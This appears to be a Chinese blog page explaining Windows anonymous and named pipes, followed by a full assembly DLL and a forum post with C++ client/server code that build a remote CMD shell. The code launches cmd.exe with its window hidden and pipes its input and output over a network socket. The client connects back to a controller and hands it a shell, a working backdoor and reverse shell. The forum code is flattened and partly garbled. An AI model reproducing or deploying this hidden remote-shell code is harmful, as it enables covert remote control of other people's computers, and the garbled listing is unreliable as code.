利用匿名管道实现远程CMD

一.基本的理论知识
1.什么是管道以及分类
管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的;按照管道的传输方向分也可以分成两种,单向的双向的。根据管道的特点,命名管道通常用在网络环境下不同计算机上运行的进程之间的通信(当然也可以用在同一台机的不同进程中)它可以是单向或双向的;而匿名管道只能用在同一台计算机中,它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
使用管道的好处在于:读写它使用的是对文件操作的 api,结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信,你也不必了解和自己去实现网络间通信的具体细节。
2.管道的使用
A.命名管道
命名管道是由服务器端的进程建立的,管道的命名必须遵循特定的命名方法,就是 "//./pipe/管道名",当作为客户端的进程要使用时,使用"//计算机名//pipe/管道名" 来打开使用,具体步骤如下:
服务端通过函数 CreateNamedPipe 创建一个命名管道的实例并返回用于今后操作的句柄,或为已存在的管道创建新的实例。 服务端侦听来自客户端的连接请求,该功能通过 ConnectNamedPipe 函数实现。 
    客户端通过函数 WaitNamedPipe 来等待管道的出现,如果在超时值变为零以前,有一个管道可以使用,则 WaitNamedPipe 将返回 True,并通过调用 CreateFile 或 CallNamedPipe 来呼叫对服务端的连接。 
    此时服务端将接受客户端的连接请求,成功建立连接,服务端 ConnectNamedPipe 返回 True 建立连接之后,客户端与服务器端即可通过 ReadFile 和 WriteFile,利用得到的管道文件句柄,彼此间进行信息交换。 当客户端与服务端的通信结束,客户端调用 CloseFile,服务端接着调用 DisconnectNamedPipe。最后调用函数CloseHandle来关闭该管道。 
B.匿名管道
    由于命名管道使用时作为客户端的程序必须知道管道的名称,所以更多的用在同一“作者”编写的服务器/工作站程序中,你不可能随便找出一个程序来要求它和你写的程序来通过命名管道通信。而匿名管道的使用则完全不同,它允许你和完全不相干的进程通信,条件是这个进程通过控制台“console”来输入输出,典型的例子是老的 Dos 应用程序,它们在运行时 Windows 为它们开了个 Dos 窗口,它们的输入输出就是 console 方式的。还有一些标准的 Win32 程序也使用控制台输入输出,如果在 Win32 编程中不想使用图形界面,你照样可以使用 AllocConsole 得到一个控制台,然后通过 GetStdHandle 得到输入或输出句柄,再通过 WriteConsole 或 WriteFile 把结果输出到控制台(通常是一个象 Dos 窗口)的屏幕上。虽然这些程序看起来象 Dos 程序,但它们是不折不扣的 Win32 程序,如果你在纯 Dos 下使用,就会显示“The program must run under Windows!”。
一个控制台有三个句柄:标准输入、标准输出和和标准错误句柄,标准输入、标准输出句柄是可以重新定向的,你可以用匿名管道来代替它,这样一来,你可以在管道的另一端用别的进程来接收或输入,而控制台一方并没有感到什么不同,就象 Dos 下的 > 或者 < 可以重新定向输出或输入一样。通常控制台程序的输入输出如下:
(控制台进程output) write ----> 标准输出设备(一般是屏幕)
(控制台进程input) read <---- 标准输入设备(一般是键盘)
而用管道代替后: (作为子进程的控制台进程output) write ----> 管道1 ----> read (父进程)
(作为子进程的控制台进程input) read <----> 管道2 <---- write (父进程)
使用匿名管道的步骤如下:
使用 CreatePipe 建立两个管道,得到管道句柄,一个用来输入,一个用来输出 
准备执行控制台子进程,首先使用 GetStartupInfo 得到 StartupInfo 
    使用第一个管道句柄代替 StartupInfo 中的 hStdInput,第二个代替 hStdOutput、hStdError,即标准输入、输出、错误句柄 
    使用 CreateProcess 执行子进程,这样建立的子进程输入和输出就被定向到管道中 
父进程通过 ReadFile 读第二个管道来获得子进程的输出,通过 WriteFile 写第一个管道来将输入写到子进程 
    父进程可以通过 PeekNamedPipe 来查询子进程有没有输出 
    子进程结束后,要通过 CloseHandle 来关闭两个管道。

我把自己写的一个cmd动态连接库完整源代码贴出来
;*********************************************************
;程序名称:汇编实现远程才CMD
;作者:JaZzy
;日期:2005.1.17
;联系方式:QQ 28919455 EMAIL:bisonal23@yahoo.com.cn
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自“只言片语的人生~”( ::URL::http://www.blogcn.com/user24/bisonal23/index.html)
;*********************************************************
;主程序
.386
.model flat, stdcall
option casemap:none

;##############################################################################
;include files
;##############################################################################
include        C:/masm32/include/windows.inc
include    C:/masm32/include/user32.inc
include    C:/masm32/include/kernel32.inc
include    C:/masm32/include/ws2_32.inc
include    C:/masm32/include/advapi32.inc
include    C:/masm32/include/Wininet.inc
include    C:/masm32/include/shlwapi.inc

includelib   C:/masm32/lib/user32.lib
includelib C:/masm32/lib/kernel32.lib
includelib C:/masm32/lib/ws2_32.lib
includelib C:/masm32/lib/advapi32.lib
includelib C:/masm32/lib/Wininet.lib
includelib C:/masm32/lib/shlwapi.lib
;##############################################################################
                .const
szCmd    db 'cmd.exe',0
szEND    db 'END',0
szExit db 'exit',0
;##############################################################################
                .data?
szBuf1 db 65535 dup(?)
szBuf2 db 65535 dup(?)

;##############################################################################

                .code
;##############################################################################
DllEntry proc _hInstance,_dwReason,_dwReserved

mov eax,TRUE
ret
DllEntry Endp
;##############################################################################md
ReCmd proc CmdSockWORD
local @hReadPipe1
local @hWritePipe1
local @hReadPipe2
local @hWritePipe2
local @dwCount
local @dwCmdLen
local stSA:SECURITY_ATTRIBUTES
local stStartInfo:STARTUPINFO
local stProcInfo:PROCESS_INFORMATION
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;建立两个匿名管道用于和远程cmd进行数据交换
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Mov stSA.nLength,12
Mov stSA.lpSecurityDescriptor,NULL
Mov stSA.bInheritHandle,TRUE

Invoke CreatePipe,addr @hReadPipe1,addr @hWritePipe1,addr stSA,0
Invoke CreatePipe,addr @hReadPipe2,addr @hWritePipe2,addr stSA,0
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;创建一个远程的cmd.exe
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Invoke RtlZeroMemory,addr stStartInfo,sizeof STARTUPINFO

Mov stStartInfo.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
Mov stStartInfo.wShowWindow,SW_HIDE
Mov eax,@hReadPipe1
Mov stStartInfo.hStdInput,eax
Mov  eax,@hWritePipe2
Mov stStartInfo.hStdOutput,eax
Mov stStartInfo.hStdError,eax
Invoke CreateProcess,NULL,offset szCmd,NULL,NULL,1,0,/
NULL,NULL,addr stStartInfo,addr stProcInfo
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;循环读取信息;发送数据到控制端,然后发送一个结束标志
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
.while TRUE
;***********************************************************
;从管道中读取数据并显示
;***********************************************************
.while  TRUE
Mov @dwCount,0
Invoke RtlZeroMemory,offset szBuf1,65535
.While @dwCount==0
Invoke PeekNamedPipe,@hReadPipe2,offset szBuf1,65535,/
addr @dwCount,NULL,NULL
.endw
Invoke ReadFile,@hReadPipe2,offset szBuf1,65535,addr @dwCount,NULL
Invoke send,CmdSock,offset szBuf1,@dwCount,0
.break .if eax<=0
Mov ecx,@dwCount
Dec ecx
.break .if  byte ptr[offset szBuf1+ecx]==62
.endw
Invoke send,CmdSock,offset szEND,sizeof szEND,0
;*************************************************************
;从网络上读取远程cmd命令,将其写入管道
;*************************************************************
Invoke RtlZeroMemory,offset szBuf2,65535
Invoke  recv,CmdSock,offset szBuf2,65535,0
.if eax == SOCKET_ERROR || eax == 0
  invoke WSAGetLastError
  .if eax == WSAEWOULDBLOCK
  .continue
  .else
  invoke TerminateProcess, stProcInfo.hProcess, 0;连接若断开则结束cmd进程
  .break
  .endif 
.else
Mov @dwCmdLen,eax
Invoke WriteFile,@hWritePipe1,offset szBuf2,@dwCmdLen,addr @dwCount,NULL
Invoke send,CmdSock,offset szBuf2,@dwCount,0
invoke lstrcmp,offset szBuf2,offset szExit ;如果传送过来的是exit,则退出
.break
.endif
.endw
ret
ReCmd endp
;#####################################################################

end DllEntry


cmddll.def文件
EXPORTS
ReCmd



Cmddll的makefile文件
DLL = cmddll

ML_FLAG = /c /coff
LINK_FLAG = /subsystem:windows /Dll /section:.bss,S

####################################################
# 创建共享数据段的DLL时使用的连接选项
# LINK_FLAG = /subsystem:windows /Dll /section:.bss,S
####################################################

(DLL).dll: (DLL).obj (DLL).def
Link  (LINK_FLAG) /DefDLL).def (DLL).obj

.asm.obj:
ml (ML_FLAG) <
.rc.res:
rc <

clean:
del *.obj
del *.exp
del *.lib
注:本程序在链接的时候会有一个警告,由于自己没有在具体程序中实现,现在还不知道会不会出现问题,欢迎你参与讨论。
最后感谢司令,大嘴还有网上提供资料的网友。

远程cmd匿名管道的问题!!!急!!!!!!!!!!!

01-11

最近在写远程cmd,有个问题卡了两天没有眉目rn先贴出客户端和服务端的代码:rn客户端:rnrn// Client.cpp : Defines the entry point for the console application.rn//rnrn#include "stdafx.h"rn#include rn#include rn#include rnrnrn//***************************************rn//全局变量rnSOCKET ServerSocket = INVALID_SOCKET;rnSOCKET ClientSocket = INVALID_SOCKET;rnHANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;//hreadpipe,hwritepipe将数据写入管道再传输,hreadfile,hwritefile读取数据并传入管道再传给父进程rnu_char varRead,varWrite;rnrn//***************************************rn//建立连接子函数rn//***************************************rnrn//初始化Socketrnvoid StartUp()rnrnWSADATA wsaData;rnWORD version = MAKEWORD(2, 0);rnint ret = WSAStartup(version, &wsaData);rnif(ret != 0)rnprintf("初始化失败!");rnrnrn//关闭Socketrnvoid CleanUp()rnrnif (WSACleanup() != 0)rnprintf("关闭失败!"); rnrnrn// ***************************************rn// 建立管道子函数rn// ***************************************rnrnrnDWORD WINAPI ThreadFuncRead( LPVOID lpParam ) //接收数据并传入管道rnrnprintf("read thread prepare\n");rn//声明一个安全属性结构变量rnSECURITY_ATTRIBUTES pipeattr;rnDWORD nByteToWrite, nByteWritten;rnchar recv_buff[1024];rnint nRetCode;rnchar buffer[1024];rnDWORD buffersread,totalbytesavail;rnZeroMemory(buffer,1024);rn//对pipeattr的各个成员进行赋值rnpipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);rnpipeattr.lpSecurityDescriptor = NULL;rnpipeattr.bInheritHandle = TRUE;rn//创建一个匿名管道,并使用上面的安全属性结构变量pipeattr为管道的安全属性rn//其中hReadPipe是用来从管道中读取数据的管道句柄rn//hWriteFile是向管道写入数据的管道句柄rnnRetCode = CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0);rn//判断管道是否创建成功rnif (nRetCode == 0)rnrnprintf ("CreatePipe readpipe Error!\n");rnexit(-1);rnrn//如果管道创建成功,就将varRead赋值为1rnvarRead = 1;rnrn//使用一个无限循环,来从客户端接收数据,并写入管道rnint ret = 0;rnwhile(true)rnrnSleep(1250);rn//从客户端接收数据,数据写入缓冲区recv_buff中rnnByteToWrite = recv(ClientSocket,recv_buff,1024,0);rnprintf("recv over!\n");rn//使用WriteFile向句柄hWriteFile中写入数据,这个管道中的数据可以通过rn//hReadFile管道句柄读取,而hReadFile是全局变量,则在程序中的任何地方rn//都可以访问到rnnRetCode = WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL); //将刚才写入到recv_buff中的数据写入管道 rnrnreturn 0;rnrnrnDWORD WINAPI ThreadFuncWrite( LPVOID lpParam ) //将数据从管道中读出并发送给对方rnrnprintf("write thread prepare\n");rn//同样是先来声明一个安全属性变量pipeattrrnSECURITY_ATTRIBUTES pipeattr;rnDWORD len;rnint nRetCode;rnunsigned long nCount;rnunsigned long nAvail;rnchar send_buff[1024];rnZeroMemory(send_buff, 1024);rn//对安全属性变量赋初值rnpipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);rnpipeattr.lpSecurityDescriptor = NULL;rnpipeattr.bInheritHandle = TRUE;rn//创建另外一个匿名管道,其使用的参数与上面一个线程函数处相同rnnRetCode = CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0); //与上面的管道不一样rn//如果管道创建失败,就返回rnif (nRetCode == 0)rnrnprintf ("CreatePipe writepipe Error!\n");rnexit(-1);rnrn//管道创建成功,将varWrite赋值为1rnvarWrite = 1;rn//进入一个无限循环,每隔250ms就尝试从上面的这个匿名管道中读取数据,如果rn//管道中存在数据,ReadFile()函数通过hReadFile就可以读到数据,而且当且仅rn//当读到了数据,服务端才会向客户端发送数据。rnwhile (true)rnrnSleep(250);rn//尝试从hReadFile中读取数据,数据长度放入lenrnReadFile(hReadFile,send_buff,1024,&len,NULL);rn//只有数据长度len不为0时,才有必要向客户端发送数据rnrnif (len != 0)rnrnsend(ClientSocket,send_buff,len,0);rnrnrnrnreturn 0;rnrnrn//***************************************rn//主程序rn//***************************************rnrnint main()rnrnsockaddr_in RemoteAddr;rnrnint nRetCode;rnDWORD dwThreadIdRead,dwThreadIdWrite,dwThreadParam=0;rnOSVERSIONINFO osvi;rnPROCESS_INFORMATION processinfo;rnSTARTUPINFO startinfo;rnrn//建立连接部分rnStartUp();rnif ((ClientSocket=socket(AF_INET,SOCK_STREAM,0))<0)rnrnprintf("ERROR1 SOCKET!");rnCleanUp();rnreturn 0;rnrnrnprintf("......\n");rnrn//服务器地址赋值rnmemset(&RemoteAddr,0,sizeof(RemoteAddr));rnrnRemoteAddr.sin_family = AF_INET;rnRemoteAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");rnRemoteAddr.sin_port = htons(80);rnrnrnrnwhile (true)rnrnif ((connect(ClientSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)))!=INVALID_SOCKET)rnrnbreak;rnrnrnrn//printf("CONNECT DONE!");rnrnrnXXXX:rn//建立管道rnif (CreateThread(NULL, 0, ThreadFuncRead, NULL, 0, &dwThreadIdRead) == NULL) rnrnprintf ("Create Thread ThreadFuncRead Error!\n");rnreturn 0;rnrn//开启写线程rnif (CreateThread(NULL, 0, ThreadFuncWrite, NULL, 0, &dwThreadIdWrite) == NULL)rnrnprintf ("Create Thread ThreadFuncWrite Error!\n");rnreturn 0;rnrn//使用循环阻塞,等待读写线程的就绪????????rndornrnSleep(250);rnwhile((varRead || varWrite) == 0);rnrnrn//得到当前进程的进程启动信息rnGetStartupInfo(&startinfo);rn//对其中某些属性进行调整,并继承那些不做调整的属性rnstartinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;rnstartinfo.hStdInput = hReadPipe;rnstartinfo.hStdError = hWritePipe;rnstartinfo.hStdOutput = hWritePipe;rnstartinfo.wShowWindow = SW_HIDE;rnrn//在使用osvi得到操作系统信息时,要注意一定要先初始化这个大小变量rnosvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);rn//得到操作系统版本信息,放入结构变量osvi中。rnGetVersionEx(&osvi);rnrnrnTCHAR DirSys[256];rn::GetSystemDirectory(DirSys, 256);rnstrcat(DirSys,"\\Cmd.exe");rnrnrn//如果dwPlatformId值为2,说明操作系统是NT以后的版本的操作系统rnif(osvi.dwPlatformId == 2)rnrnif (CreateProcess(DirSys, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo, &processinfo) == 0)//为cmd建立新进程,为当前进程的子进程rnrnprintf ("CreateProcess Error!\n");rnreturn 0;rnrnrnelsernrnCreateProcess(NULL,"command.com",0,0,true,0,0,0,&startinfo,&processinfo);rnrnrnwhile (true)rnrnif ((connect(ClientSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)))!=INVALID_SOCKET)rnrngoto XXXX;rnrnrnrnrn在客户端是在cmd和父进程(客户端进程)之间通过建立线程建立了两个单工的匿名管道,一个负责从服务端接收数据并传通过该管道传给cmd,另一个是将cmd输出的内容通过管道传给客户端进程并由客户端进程发送至服务端rnrnrn服务端:rnrn// SERVER.cpp : Defines the entry point for the console application.rn//rnrn#include "stdafx.h"rn#include rn#include rn#include rn#include rn#define MAX 65535rnrn//#pragma comment(linker,"/subsystem:windows")rnrn//***************************************rn//全局变量rnSOCKET ServerSocket = INVALID_SOCKET;rnSOCKET ClientSocket = INVALID_SOCKET;rnrn//***************************************rn//建立连接子函数rn//***************************************rnrn//初始化Socketrnvoid StartUp()rnrnWSADATA wsaData;rnWORD version = MAKEWORD(2, 0);rnint ret = WSAStartup(version, &wsaData);rnif(ret != 0)rnprintf("初始化失败!");rnrnrn//关闭Socketrnvoid CleanUp()rnrnif (WSACleanup() != 0)rnprintf("关闭失败!"); rnrnrnrnDWORD WINAPI ThreadFuncRecv( LPVOID lpParam ) //接收数据线程rnrnint temp = 0;rnchar data[MAX];rnwhile (1)rnrn// Sleep(800);rnif((temp=recv(ClientSocket, data, MAX, 0))==SOCKET_ERROR)rnrnprintf("Connect Error\n"); rncontinue;rnrndata[temp] = '\0'; rnprintf("%s",data);rn rnrnrnrn//***************************************rn//主程序rn//***************************************rnrnint main()rnrnint temp = 0;rnint Len = 0;rnchar choice=NULL;rnchar cmd[MAX];rnDWORD dwThreadIdRecv;rnsockaddr_in RemoteAddr;rnHANDLE hthread = 0;rnrn//建立连接部分rnStartUp();rnif ((ServerSocket=socket(AF_INET,SOCK_STREAM,0))<0)rnrnprintf("ERROR1 SOCKET!");rnCleanUp();rnreturn 0;rnrn//服务器地址赋值rnmemset(&RemoteAddr,0,sizeof(RemoteAddr));rnrnRemoteAddr.sin_family = AF_INET;rnRemoteAddr.sin_addr.S_un.S_addr =htonl(INADDR_ANY);rnRemoteAddr.sin_port = htons(80);rnrnif (bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr))<0)rnrnprintf("ERROR2 SOCKET!");rnCleanUp();rnreturn 0;rnrnrnif((listen(ServerSocket, 5)) == SOCKET_ERROR)rnprintf("ERROR3 SOCKET!");rnCleanUp();rnreturn 0;rnrnrnif((ClientSocket = accept(ServerSocket, NULL, NULL)) == SOCKET_ERROR)rnprintf("ERROR4 SOCKET!");rnCleanUp();rnreturn 0;rnrnelsernprintf("CONNECT DONE!\n");rnrnrnrnif ((hthread = CreateThread(NULL, 0, ThreadFuncRecv, NULL, 0, &dwThreadIdRecv)) == NULL) //建立接收数据线程rnrnprintf ("Create Thread ThreadFuncRecv Error!\n");rnreturn 0;rnrn// WaitForSingleObject(hthread,2000);rn//建立连接部分结束rn/*rnprintf("===============================\n");rnprintf("请选择下一步操作:\n");rnprintf("1:退出\n");rnprintf("2:获取Shell\n");rnrnchar choice=NULL;rnchoice=getchar();rnif (choice=='1')rnrnCleanUp();rnreturn 0;rnrnrn//***************rnprintf("请输入指令_\n");rnchar cmd[MAX];rnwhile (TRUE)rnrncmd[0] = '\0';rngets(cmd);//输入控制指令rnint Len = 0;rnwhile (cmd[Len]!='\0')rn rnLen++;rnrncmd[Len] = 0xa; //0xa为换行符,输入管道的最后需要回车换行!rncmd[Len+1] = '\0';//要求控制指令串最后为回车符,以示结束rnrnif((send(ClientSocket, cmd, strlen(cmd), 0))==SOCKET_ERROR)rnrnprintf("SEND Error!\n"); rnbreak;rnrnrnSleep(800);rnrnrnrnrnrnrnwhile(true) //rn// if((temp=recv(ClientSocket, cmd, MAX, 0))==SOCKET_ERROR)rnif ((temp=recv(ClientSocket, cmd, MAX, 0))==0)rnrnbreak;rnrn// rn// printf("Connect Error\n"); rn// break;rn// rncmd[temp] = '\0'; rnprintf("%s",cmd); //显示客户端发来的提示符rn//rnif(temp==SOCKET_ERROR)rnrnbreak;rnrnrnrnrnrnrnprintf("OVER!\n");rnreturn 0;rn*/rnchar test;rnwhile (true)rnrncmd[0] = '\0';rn// printf("请输入指令_\n");rnfflush(stdin);rngets(cmd);//输入控制指令,gets函数会舍弃最后的回车rn// test = getchar();rn// int Len = 0;rnwhile (cmd[Len]!='\0')rn rnLen++;rnrncmd[Len] = '\r';//0xa为换行符,输入管道的最后需要回车换行!rncmd[Len+1] = '\n';rncmd[Len+2] = '\0';//要求控制指令串最后为回车符,以示结束rnrnif((send(ClientSocket, cmd, strlen(cmd), 0))==SOCKET_ERROR)rnrnprintf("SEND Error!\n"); rnbreak;rnrnrn// rn// elsern// rn// printf("error!\n");rn// continue;rn// rnrnreturn 1;rnrnrn现在问题是在服务端发送指令时,第一个指令都可以正确返回信息,比如calc,ipconfig,ping等等,但是第二次或者第三次输入指令就没有反应了,没有从客户端的数据返回,但是还可以输入指令,通过截包和调试发现服务端确实已经将指令发送至客户端,而客户端似乎也将指令正确接收并传入匿名管道。个人感觉可能是cmd解析的问题,因为有时如果当发送指令没有反应时,多发些没用的字符(好像到一定量)也会有反应:“‘xxxx’不是内部或外部命令”,比如我发送指令ipconfig,没有任何返回,但是当我又发送“sfadfasfsd……”时会回复“‘ipconfigsfadfasfsd……’不是内部或外部命令……”说明cmd还是接收ipconfig这个指令的,不过和后面的指令混在了一起rnrn如果大家不明白,可以运行试一下,表达得不太明白。。。vc6环境rn这个问题卡了好久了,希望有高手能够指点!!!!!!!!!!!!!!!!!!

没有更多推荐了,返回首页

私密
私密原因:
请选择设置私密原因
  • 广告
  • 抄袭
  • 版权
  • 政治
  • 色情
  • 无意义
  • 其他
其他原因:
120
出错啦
系统繁忙,请稍后再试

关闭